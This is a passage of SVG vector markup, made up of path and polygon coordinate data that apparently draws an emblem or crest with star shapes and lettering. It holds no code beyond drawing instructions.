.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" 